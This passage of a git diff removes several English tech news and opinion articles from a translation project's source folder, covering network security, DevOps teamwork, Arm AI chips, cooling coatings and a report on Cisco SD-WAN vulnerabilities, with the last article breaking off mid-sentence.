Compared to just a few years ago, businesses have developed a preference for containers over virtual appliances for app services. Container preference grew from just 6% in 2017 to 18% in 2020, surpassing virtual machines (15%) and hardware (15%). - -Regardless of preference, the challenges of modern app architectures call for collaboration between teams. IT operations and DevOps don't have to be mutually exclusive and can work together to address those challenges. - -### What's Next? - -Senior leaders surveyed in the report see big data analytics coming into play in the next two to five years. - -Companies today only use a small portion of their data and aren't taking full advantage of it. In the third phase of the digital transformation, businesses can begin leveraging data captured by apps via artificial intelligence (AI)-powered analytics. The harnessed data can provide valuable insights to improve business processes. - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3531448/next-wave-of-digital-transformation-requires-better-security-automation.html - -作者:[Zeus Kerravala][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Zeus-Kerravala/ -[b]: https://github.com/lujun9972 -[1]: https://www.f5.com/state-of-application-services-report -[2]: https://www.networkworld.com/article/3518992/top-10-underused-sd-wan-features.html -[3]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[4]: https://www.networkworld.com/article/3530275/enterprises-being-won-over-by-speed-effectiveness-of-network-automation.html -[5]: https://www.networkworld.com/article/3031279/sd-wan-what-it-is-and-why-you-ll-use-it-one-day.html -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200316 As the networks evolve enterprises need to rethink network security.md b/sources/talk/20200316 As the networks evolve enterprises need to rethink network security.md deleted file mode 100644 index 4767aaafe1..0000000000 --- a/sources/talk/20200316 As the networks evolve enterprises need to rethink network security.md +++ /dev/null @@ -1,81 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (As the networks evolve enterprises need to rethink network security) -[#]: via: (https://www.networkworld.com/article/3531929/as-the-network-evolves-enterprises-need-to-rethink-security.html) -[#]: author: (Zeus Kerravala https://www.networkworld.com/author/Zeus-Kerravala/) - -As the networks evolve enterprises need to rethink network security -====== -Q&A: John Maddison, executive vice president of products for network security vendor Fortinet, discusses how to deal with network security in the digital era. -D3Damon / Getty Images - -_Digital innovation is disrupting businesses. Data and applications are at the hub of new business models, and data needs to travel across the extended network at increasingly high speeds without interruption. To make this possible, organizations are radically redesigning their networks by adopting multi-cloud environments, building hyperscale data centers, retooling their campuses, and designing new connectivity systems for their next-gen branch offices. Networks are faster than ever before, more agile and software-driven. They're also increasingly difficult to secure. To understand the challenges and how security needs to change, I recently talked with John Maddison, executive vice president of products for network security vendor Fortinet._ - -**ZK: As the speed and scale of data escalate, how do the challenges to secure it change?** - -JM: Security platforms were designed to provide things like enhanced visibility, control, and performance by monitoring and managing the perimeter. But the traditional perimeter has shifted from being a very closely monitored, single access point to a highly dynamic and flexible environment that has not only expanded outward but inward, into the core of the network as well. - -**[ Also see [What to consider when deploying a next generation firewall][1]. | Get regularly scheduled insights by [signing up for Network World newsletters][2]. ]** - -**READ MORE:** [The VPN is dying, long live zero trust][3] - -Today's perimeter not only includes multiple access points, the campus, the WAN, and the cloud, but also IoT, mobile, and virtual devices that are generating data, communicating with data centers and manufacturing floors, and literally creating thousands of new edges inside an organization. And with this expanded perimeter, there are a lot more places for attacks to get in. To address this new attack surface, security has to move from being a standalone perimeter solution to being fully integrated into the network. - -This convergence of security and networking needs to cover SD-WAN, VPN, Wi-Fi controllers, switching infrastructures, and data center environments – something we call security-driven networking. As we see it, security-driven networking is an essential approach for ensuring that security and networking are integrated together into a single system so that whenever the networking infrastructure evolves or expands, security automatically adapts as an integrated part of that environment. And it needs to do this by providing organizations with a new suite of security solutions, including network segmentation, dynamic multi-cloud controls, and [zero-trust network access][3]. And because of the speed of digital operations and the sophistication of today's attacks, this new network-centric security strategy also needs to be augmented with AI-driven security operations. - -The perimeter security devices that have been on the market weren't really built to run as part of the internal network, and when you put them there, they become bottlenecks. Customers don't put these traditional security devices in the middle of their networks because they just can't run fast enough. But the result is an open network environment that can become a playground for criminals that manage to breach perimeter defenses. It's why the dwell time for network malware is over six months. - -**[ [Prepare to become a Certified Information Security Systems Professional with this comprehensive online course from PluralSight. Now offering a 10-day free trial!][4] ]** - -As you combine networking applications, networking functionality, and security applications together to address this challenge, you absolutely need a different performance architecture. This can't be achieved using the traditional hardware most security platforms rely on. - -**ZK: Why can't traditional security devices secure the internal network?** - -JM: They simply aren't fast enough. And the ones that come close are prohibitively expensive… For example, internal segmentation not only enables organizations to see and separate all of the devices on their network but also dynamically create horizontal segments that support and secure applications and automated workflows that need to travel across the extended network. Inside the network, you're running at 100 gigs, 400 gigs, that sort of thing. But the interface for a lot of security systems today is just 10 gigs. Even with multiple ports, the device can't handle much more than that without having to spend a fortune… In order to handle today's capacity and performance demands, security needs to be done at network speeds that most security solutions cannot support without specialized content processors. - -**ZK: Hyperscale data centers have been growing steadily. What sort of additional security challenges do these environments face?** - -JM: Hyperscale architectures are being used to move and process massive amounts of data. A lot of the times, research centers will need to send a payload of over 10 gigabytes – one packet that's 10 gigabytes – to support advanced rendering and modeling projects. Most firewalls today cannot process these large payloads, also known as elephant flows. Instead, they often compromise on their security to let them flow through. Other hyperscale environment examples include financial organizations that need to process transactions with sub-second latency or online gaming providers that need to support massive numbers of connections per second while maintaining high user experience. … [Traditional security platforms] will never be able to secure hyperscale environments, or even worse, the next generation of ultra-fast converged networks that rely on hyperscale and hyperconnectivity to run things like smart cities or smart infrastructures, until they fundamentally change their hardware. - -**ZK: Do these approaches introduce new risks or increase the existing risk for these organizations?** - -JM: They do both. As the attack surface expands, existing risks often get multiplied across the network. We actually see more exploits in the wild targeting older vulnerabilities than new ones. But cybercriminals are also building new tools designed to exploit cloud environments and modern data centers. They are targeting mobile devices and exploiting IoT vulnerabilities. Some of these attacks are simply revisions of older, tried and true exploits. But many are new and highly sophisticated. We are also seeing new attacks that use machine learning and rely on AI enhancements to better bypass security and evade detection. - -To address this challenge, security platforms need to be broad, integrated, and automated. - -Broad security platforms come in a variety of form factors so they can be deployed everywhere across the expanding network. Physical hardware enhancements, such as our [security processing units], enable security platforms to be effectively deployed inside high-performance networks, including hyperscale data centers and SD-WAN environments. And virtualized versions need to support private cloud environments as well as all major cloud providers through thorough cloud-native integration. - -Next, these security platforms need to be integrated. The security components built into a security platform need to work together as a single solution ­– not the sort of loose affiliation most platforms provide – to enable extremely fast threat intelligence collection, correlation, and response. That security platform also needs to support common standards and APIs so third-party tools can be added and supported. And finally, these platforms need to be able to work together, regardless of their location or form factor, to create a single, unified security fabric. It's important to note that many cloud providers have developed their own custom hardware, such as Google's TPU, Amazon's Inferentia, and Microsoft's Corsica, to accelerate cloud functions. As a result, hardware acceleration on physical security platforms is essential to ensure consistent performance for data moving between physical and cloud environments - -And finally, security platforms need to be automated. Support for automated workflows and AI-enhanced security operations can significantly accelerate the speed of threat detection, analysis, and response. But like other processing-intensive functions, such as decrypting traffic for deep inspection, these functions also need specialized and purpose-built processors or they will become innovation-killing bottlenecks. - -**ZK: What's next for network security?** - -JM: This is just the start. As networking functions begin to converge even further, creating the next generation of smart environments – smart buildings, smart cities, and smart critical infrastructures – the lack of viable security tools capable of inspecting and protecting these hyperfast, hyperconnected, and hyper-scalable environments will seriously impact our digital economy and way of life. - -Security vendors need to understand this challenge and begin investing now in developing advanced hardware and security-driven networking technologies. Organizations aren't waiting for vendors to catch up so they can secure their networks of tomorrow. Their networks are being left exposed right now because the software-based security solutions they have in place are just not adequate. And it's up to the security industry to step up and solve this challenge. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3531929/as-the-network-evolves-enterprises-need-to-rethink-security.html - -作者:[Zeus Kerravala][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Zeus-Kerravala/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3236448/lan-wan/what-to-consider-when-deploying-a-next-generation-firewall.html -[2]: https://www.networkworld.com/newsletters/signup.html -[3]: https://www.networkworld.com/article/3487720/the-vpn-is-dying-long-live-zero-trust.html -[4]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fpaths%2Fcertified-information-systems-security-professional-cisspr -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200316 How to be the right person for DevOps.md b/sources/talk/20200316 How to be the right person for DevOps.md deleted file mode 100644 index 02cdf8bedb..0000000000 --- a/sources/talk/20200316 How to be the right person for DevOps.md +++ /dev/null @@ -1,108 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to be the right person for DevOps) -[#]: via: (https://opensource.com/article/20/3/devops-relationships) -[#]: author: (Josh Atwell https://opensource.com/users/joshatwell) - -How to be the right person for DevOps -====== -Creating healthy relationships is the essential ingredient in DevOps -success. -![Team meeting][1] - -In my kitchen, we have a sign that reads "Marriage is more than finding the right person. It is being the right person." It serves as a great reminder of the individual responsibility everyone has in any healthy relationship. As organizations adopt [DevOps][2] as a model of developing and delivering value to customers, the impact of healthy relationships is extremely important for success. - -![Marriage sign][3] - -Historically, the relationship between development and operations teams has been unhealthy. Poor communication, limited empathy, and a history of mistrust make merging these teams into a tighter operating model challenging, to say the least. This is not entirely unfair to either side. - -Developers have long been frustrated by lead times and processes put in place by the operations organization. They just want to work, and they often see operations as an anchor on the ship of progress. - -Operations professionals have long been frustrated by the impatience and lack of clear requirements that come from development teams. They are often confused about why those teams are not able to use the available services and processes. They see developers as a liability to their ability to maintain stable services for customers and the business. - -A lingering gap here is that each side has been focused on protecting its own perspective. They emphasize how the other team is not being what _they_ need, and they never question whether they, too, could be doing something different. - -In DevOps, all sides must frame their role in the organization based on how they add value to others. - -There are a few things that everyone, including managers and leaders, can do right away to become a better contributor and partner in their DevOps relationships. - -### Communicate - -Most professionals in an organization adopting DevOps find themselves needing to work closely with new people, ones they have had limited exposure to in the past. It is important for everyone to take time to get to know their new teammates and learn more about their concerns, their interests, and also their preferred communication style. - -Successful communication in new relationships is often built on simply listening more and talking less. Our natural tendency is to talk about ourselves. Most people love sharing what they know best. However, it is extremely important to make more room to listen. - -Hearing someone is not the same as listening to them. I'm confident that we have all been in the situation where someone expresses a concern that we do not entirely internalize. Also, merely hearing does not encourage people to share–or to share as completely as they should. - -![Stick figures hearing][4] - -It is important to listen actively. Repeat what you hear, and seek validation that what you repeat is what they wanted you to understand. Once you understand their concern, it is important to make your initial response a selfless one. Even if you can't completely solve the problem, demonstrate sympathy and help the person move towards a solution. - -![Stick figures listening][5] - -### Selflessness - -Another key relationship challenge as organizations adopt DevOps is developing a perspective of selflessness. In DevOps, most people are responsible for delivering value to a wide variety of other people. Each person should begin by considering how their actions and work impact other people. - -This service mindset carries forward when you become more sensitive to when others are in need and then dedicate time in your schedule specifically for the purpose of helping them. This can be as simple as creating a small improvement in a process or helping to troubleshoot an issue. A positive side effect is that this effort will provide you more opportunities to work with others and develop deeper trust. - -It is also important not to hoard knowledge—either technical or institutional—especially when people ask questions or seek help. Maintain the mindset that there are no stupid questions. - -![Stick figure apologizing][6] - -Finally, selflessness includes being trustworthy. It is difficult to maintain a healthy relationship when there is no trust. Be honest and transparent. In IT, this is often seen as a liability, but in DevOps it is a requirement for success. - -### Self-care - -In order to be a strong contributor to a relationship, it is necessary to maintain a sense of self. Our individuality provides the diversity a relationship needs to grow. Make sure you maintain and share your interests with others. Be more than just the work you do. Apply your interests to your work. - -You are no good to others if you are not good to yourself. Healthy relationships are stronger with healthy people. Make sure you take time to enjoy your interests and recharge. Take your vacation and leave work behind! - -![Stick figure relaxing][7] - -I am also a strong advocate for mental health days. Sometimes our mental health is not sufficient to work effectively. You're not as effective when you are physically ill, and you're not as effective when your head is not 100%. Work with your manager and your team to support each other to maintain good mental health. - -Mental health is improved by learning. Invest in yourself and expand your knowledge. DevOps ideally needs "t-shaped" people who have depth on a topic and also broader system knowledge. Work to increase your depth, but balance that by learning new things about your environment. This knowledge can come from your teammates and create operational sympathy. - -![Stick figure with open arms][8] - -Finally, healthy relationships are not all work and no play. Take time to acknowledge the successes of others. If you know your team, you likely know how individuals prefer to receive praise. Respect those preferences, but always strive to praise vocally where possible. - -![Stick figures celebrating][9] - -Make sure to celebrate these successes as a team. All work and no play makes everyone dull. Celebrate milestones together as a team, and then articulate and target the next objectives. - -### Be the right person - -DevOps requires more from every individual, and its success is directly tied to the health of relationships. Each member of the organization should apply these techniques to grow and improve themselves. A focus on being the right person for the team will build stronger bonds and make the organization better equipped to reach its goals. - -* * * - -_This article is based on [a talk][10] Josh Atwell gave at All Things Open 2019._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/devops-relationships - -作者:[Josh Atwell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/joshatwell -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/meeting-team-listen-communicate.png?itok=KEBP6vZ_ (Team meeting) -[2]: https://opensource.com/tags/devops -[3]: https://opensource.com/sites/default/files/uploads/marriage.png (Marriage sign) -[4]: https://opensource.com/sites/default/files/uploads/hearing.png (Stick figures hearing) -[5]: https://opensource.com/sites/default/files/uploads/listening.png (Stick figures listening) -[6]: https://opensource.com/sites/default/files/uploads/apologize.png (Stick figure apologizing) -[7]: https://opensource.com/sites/default/files/uploads/relax.png (Stick figure relaxing) -[8]: https://opensource.com/sites/default/files/uploads/open_0.png (Stick figure with open arms) -[9]: https://opensource.com/sites/default/files/uploads/celebrate.png (Stick figures celebrating) -[10]: https://opensource.com/article/20/1/devops-empathy diff --git a/sources/talk/20200317 -AI everywhere- IoT chips coming from Arm.md b/sources/talk/20200317 -AI everywhere- IoT chips coming from Arm.md deleted file mode 100644 index a5e61bce6d..0000000000 --- a/sources/talk/20200317 -AI everywhere- IoT chips coming from Arm.md +++ /dev/null @@ -1,61 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: ('AI everywhere' IoT chips coming from Arm) -[#]: via: (https://www.networkworld.com/article/3532094/ai-everywhere-iot-chips-coming-from-arm.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -'AI everywhere' IoT chips coming from Arm -====== -Two new microprocessors from Arm promise to miniaturize artificial intelligence. -Healthcare - -Silicon microchip maker Arm is working on a new semiconductor design that it says will enable machine learning, at scale, on small sensor devices. Arm has completed testing of the technology and expects to bring it to market next year. - -Artificial intelligence, implemented locally on "billions and ultimately trillions" of devices is coming, the company says in a [press release][1]. Arm Holdings, owned by Japanese conglomerate Softbank, says its partners have shipped more than 160 billion Arm-based chips to date, and that 45 million of its microprocessor designs are being placed within electronics every day. - -The new machine-learning silicon will include micro neural processing units (microNPU) that can be used to identify speech patterns and perform other AI tasks. Importantly, the processing is accomplished on-device and in smaller form factors than have so far been available. The chips don't need the cloud or any network. - -[RELATED: Auto parts supplier has big plans for its nascent IoT effort][2] - -Arm, which historically has been behind mobile smartphone microchips, is aiming this design – the Cortex M55 processor, paired with the Ethos-U55, Arm's first microNPU – at Internet of Things instead. - -"Enabling AI everywhere requires device makers and developers to deliver machine learning locally on billions, and ultimately trillions of devices," said Dipti Vachani, senior vice president and general manager of Arm's automotive and IoT areas, in a statement. "With these additions to our AI platform, no device is left behind as on-device ML on the tiniest devices will be the new normal, unleashing the potential of AI securely across a vast range of life-changing applications." - -Arm wants to take advantage of the autonomous nature of chip-based number crunching, as opposed to doing it in the cloud. Privacy-conscious (and regulated) healthcare is an example of a vertical that might like the idea of localized processing.  - -Functioning AI without cloud dependence isn't entirely new. Intel's [Neural Compute Stick 2][3], a $69 self-contained computer vision and deep learning development kit, doesn't need it, for example. - -**[ [Get certified as an Apple Technical Coordinator with this seven-part online course from PluralSight.][4] ]** - -Arm is also going for power savings with its new AI technology. Not requiring a data network can mean longer battery life for the sensor— only the calculated results need to be sent, rather than every bit. Much of the time, raw sensor data is irrelevant and can be discarded. Arm's new endpoint ML technologies are going to help microcontroller developers "accelerate edge inference in devices limited by size and power," said Geoff Lees, senior vice president of edge processing at IoT semiconductor company [NXP][5], in the announcement.  - -Enabling machine learning in power-constrained settings and eliminating the need for network connectivity mean the sensor can be placed where there isn't a hardy power supply. Latency advantages and cost advantages also can come into play. - -"These devices can run neural network models on batteries for years, and deliver low-latency inference directly on the device," said Ian Nappier, product manager of TensorFlow Lite for Microcontrollers at Google, in a statement to Arm. [TensorFlow][6] is an open-source machine learning platform that's been used for detecting respiratory diseases, among other things. - -Join the Network World communities on [Facebook][7] and [LinkedIn][8] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3532094/ai-everywhere-iot-chips-coming-from-arm.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.arm.com/company/news/2020/02/new-ai-technology-from-arm -[2]: https://www.networkworld.com/article/3098084/internet-of-things/auto-parts-supplier-has-big-plans-for-its-nascent-iot-effort.html#tk.nww-fsb -[3]: https://store.intelrealsense.com/buy-intel-neural-compute-stick-2.html -[4]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fpaths%2Fapple-certified-technical-trainer-10-11 -[5]: https://www.nxp.com/company/our-company/about-nxp:ABOUT-NXP -[6]: https://www.tensorflow.org/ -[7]: https://www.facebook.com/NetworkWorld/ -[8]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200319 Electronics should sweat to cool down, say researchers.md b/sources/talk/20200319 Electronics should sweat to cool down, say researchers.md deleted file mode 100644 index ae2bce3e22..0000000000 --- a/sources/talk/20200319 Electronics should sweat to cool down, say researchers.md +++ /dev/null @@ -1,61 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Electronics should sweat to cool down, say researchers) -[#]: via: (https://www.networkworld.com/article/3532827/electronics-should-sweat-to-cool-down-say-researchers.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Electronics should sweat to cool down, say researchers -====== -Scientists think that in much the same way the human body releases perspiration to cool down, special materials might release water to draw heat from electronics. -rclassenlayouts / Aleksei Derin / Getty Images - -Computing devices should sweat when they get too hot, say scientists at Shanghai Jiao Tong University in China, where they have developed a materials application they claim will cool down devices more efficiently and in smaller form-factors than existing fans. - -It’s “a coating for electronics that releases water vapor to dissipate heat from running devices,” the team explain in a news release. “Mammals sweat to regulate body temperature,” so should electronics, they believe. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -The group’s focus has been on studying porous materials that can absorb moisture from the environment and then release water vapor when warmed. MIL-101(Cr) checks the boxes, they say. The material is a metal organic framework, or MOF, which is a sorbent, a material that stores large amounts of water. The higher the water capacity one has, the greater the dissipation of heat when it's warmed. - -MOF projects have been attempted before. “Researchers have tried to use MOFs to extract water from the desert air,” says refrigeration-engineering scientist Ruzhu Wang, who is senior author of a paper on the university’s work that has just been [published in Joule][2]. - -Their proof-of-concept test involved applying a micrometers-thin coating of MIL-101(Cr) to metallic substrates that resulted in temperature drops of up to 8.6 degrees Celsius for 25 minutes, according to the abstract for their paper. - -That’s “a significant improvement compared to that of traditional PCMs,” they say. Phase change materials (PCM) include waxes and fatty acids that are used in electronics and melt to absorb heat. They are used in smartphones, but the solid-to-liquid transition doesn’t exchange all that much energy. - -“In contrast, the liquid-vapor transition of water can exchange 10 times the energy compared to that of PCM solid-liquid transition.” Plus the material used recovers almost immediately to start sweating again, just like a mammal. - -[][3] - -Shanghai Jiao Tong University isn’t the only school looking into sweat for future tech. Cornell University says it wants to get robots to sweat to bring their temperature below ambient. Researchers there say they have built a 3D-printed, sweating robot muscle. It [manages its own temperature][4], and they think it will one day let robots run for extended periods without overheating. - -Soft robots, which are the kind preferred by many developers for their flexibility, hold more heat than metal ones. As in electronic devices such as smartphones and IoT sensors, fans aren’t ideal because they take up too much space. That’s why new materials applications are being studied. - -The Cornell robot group uses light to cure resin into shapes that control the flow of heat. A base layer “smart sponge” made of poly-N-isopropylacrylamide retains water and squeezes it through fabricated, dilated pores when heated. The pores then close automatically when cooled. - -“Just when it seemed like robots couldn’t get any cooler,” the group says. - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3532827/electronics-should-sweat-to-cool-down-say-researchers.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.cell.com/joule/fulltext/S2542-4351(19)30590-2 -[3]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[4]: https://news.cornell.edu/stories/2020/01/researchers-create-3d-printed-sweating-robot-muscle -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200320 Cisco warns of five SD-WAN security weaknesses.md b/sources/talk/20200320 Cisco warns of five SD-WAN security weaknesses.md deleted file mode 100644 index 6055b6c53b..0000000000 --- a/sources/talk/20200320 Cisco warns of five SD-WAN security weaknesses.md +++ /dev/null @@ -1,74 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Cisco warns of five SD-WAN security weaknesses) -[#]: via: (https://www.networkworld.com/article/3533550/cisco-warns-of-five-sd-wan-security-weaknesses.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -Cisco warns of five SD-WAN security weaknesses -====== -Cisco warnings include three high-impact SD-WAN vulnerabilities -[Jaredd Craig][1] [(CC0)][2] - -Cisco has issued five  warnings about security weaknesses in its [SD-WAN][3] offerings, three of them on the high-end of the vulnerability scale. - -The worst problem is with the command-line interface (CLI) of its [SD-WAN][4] Solution software where a weakness could let a local attacker inject arbitrary commands that are executed with root privileges, Cisco [wrote.][5] - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][6] - -An attacker could exploit this vulnerability – which has a 7.8 out if 10 on  the Common Vulnerability Scoring System – by authenticating to the device and submitting crafted input to the CLI utility. The attacker must be authenticated to access the CLI utility. The vulnerability is due to insufficient input validation, Cisco wrote. - -Another high warning problem lets an authenticated, local attacker elevate privileges to root on the underlying operating system.  An attacker could exploit this vulnerability by sending a crafted request to an affected system. A successful exploit could allow the attacker to gain root-level privileges, Cisco [wrote][7].  The vulnerability is due to insufficient input validation. - -The third high-level vulnerability in the SD-WAN Solution software could let an attacker cause a buffer overflow on an affected device. An attacker could exploit this vulnerability by sending crafted traffic to an affected device. A successful exploit could allow the attacker to gain access to information that they are not authorized to access and make changes to the system that they are not authorized to make, Cisco [wrote][8]. - -The vulnerabilities affect a number of Cisco products if they are running a Cisco SD-WAN Solution software release earlier than Release 19.2.2: vBond Orchestrator Software, vEdge 100-5000 Series Routers, vManage Network Management System and vSmart Controller Software. - -Cisco said there were no workarounds for any of the vulnerabilities and it suggested users accept automatic software updates to allay exploit risks. There are [software fixes for the problems][9] as well.  - -**[ [Prepare to become a Certified Information Security Systems Professional with this comprehensive online course from PluralSight. Now offering a 10-day free trial!][10] ]** - -All three of the high-level warnings were reported to Cisco by the Orange Group, Cisco said. - -The other two SD-WAN Solution software warnings – with medium threat levels -- include a one that allows a cross-site scripting (XSS) attack against the web-based management interface of the vManage software and SQL injection threat. - -The [XXS vulnerability][11] is due to insufficient validation of user-supplied input by the web-based management interface. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or to access sensitive, browser-based information. - -The SQL vulnerability exists because the web UI improperly validates SQL values. An attacker could exploit this vulnerability by authenticating to the application and sending malicious SQL queries to an affected system. A successful exploit could let the attacker  modify values on, or return values from, the underlying database as well as the operating system, Cisco [wrote][12]. - -Cisco recognized Julien Legras and Thomas Etrillard of Synacktiv for reporting the problems. - -The company said release 19.2.2 of the [Cisco SD-WAN Solution][13] contains fixes for all five vulnerabilities. - -Join the Network World communities on [Facebook][14] and [LinkedIn][15] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3533550/cisco-warns-of-five-sd-wan-security-weaknesses.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://unsplash.com/photos/T15gG5nA9Xk -[2]: https://creativecommons.org/publicdomain/zero/1.0/ -[3]: https://www.networkworld.com/article/3031279/sd-wan-what-it-is-and-why-you-ll-use-it-one-day.html -[4]: https://www.networkworld.com/article/3527194/multicloud-security-integration-drive-massive-sd-wan-adoption.html -[5]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwclici-cvrQpH9v -[6]: https://www.networkworld.com/newsletters/signup.html -[7]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwpresc-ySJGvE9 -[8]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwanbo-QKcABnS2 -[9]: https://software.cisco.com/download/home -[10]: https://pluralsight.pxf.io/c/321564/424552/7490?u=https%3A%2F%2Fwww.pluralsight.com%2Fpaths%2Fcertified-information-systems-security-professional-cisspr -[11]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200318-vmanage-xss -[12]: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20200318-vmanage-cypher-inject -[13]: https://www.cisco.com/c/en/us/solutions/enterprise-networks/sd-wan/index.html#~benefits -[14]: https://www.facebook.com/NetworkWorld/ -[15]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200320 How technical debt is risking your security.md b/sources/talk/20200320 How technical debt is risking your security.md deleted file mode 100644 index 899696c7d3..0000000000 --- a/sources/talk/20200320 How technical debt is risking your security.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How technical debt is risking your security) -[#]: via: (https://opensource.com/article/20/3/remove-security-debt) -[#]: author: (Sam Bocetta https://opensource.com/users/sambocetta) - -How technical debt is risking your security -====== -A few security fixes now will help lighten the load of future developers -using your software. -![A lock on the side of a building][1] - -Everyone knows they shouldn't take shortcuts, especially in their work, and yet everyone does. Sometimes it doesn't matter, but when it comes to code development, though, it definitely does. - -As any experienced programmer knows, building your code the quick and dirty way soon leads to problems down the line. These issues might not be disastrous, but they incur a small penalty every time you want to develop your code further. - -This is the basic idea behind [technical debt][2], a term first coined by well-known programmer Ward Cunningham. Technical debt is a metaphor that explains the long-term burden developers and software teams incur when taking shortcuts, and has become a popular way to think about the extra effort that we have to do in future development because of the quick and dirty design choice. - -"Security Debt" is an extension of this idea, and in this article, we'll take a look at what the term means, why it is a problem, and what you can do about it. - -### What is security debt? - -To get an idea of how security debt works, we have to consider the software development lifecycle. Today, it's very rare for developers to start with a blank page, even for a new piece of software. At the very least, most programmers will start a new project with open source code copied from online repositories. - -They will then adapt and change this code to make their project. While they are doing this, there will be many points where they notice a security vulnerability. Something as simple as an error establishing a database connection can be an indication that systems are not playing well together, and that someone has taken a fast and dirty approach. - -Then they have two options: they can either take an in-depth look at the code they are working with, and fix the issue at a fundamental level, or they can quickly paste extra code over the top that gets around the problem in a quick, inefficient way. - -Given the demands of today's development environment, most developers choose the second route, and we can't blame them. The problem is that the next person who looks at the code is going to have to spend longer working out how it operates. - -Time, as we all know, is money. Because of this, each time software needs to be changed, there will be a small cost to make it secure due to previous developers taking shortcuts. This is security debt. - -### How security debt threatens your software - -There was a time when security debt was not a huge 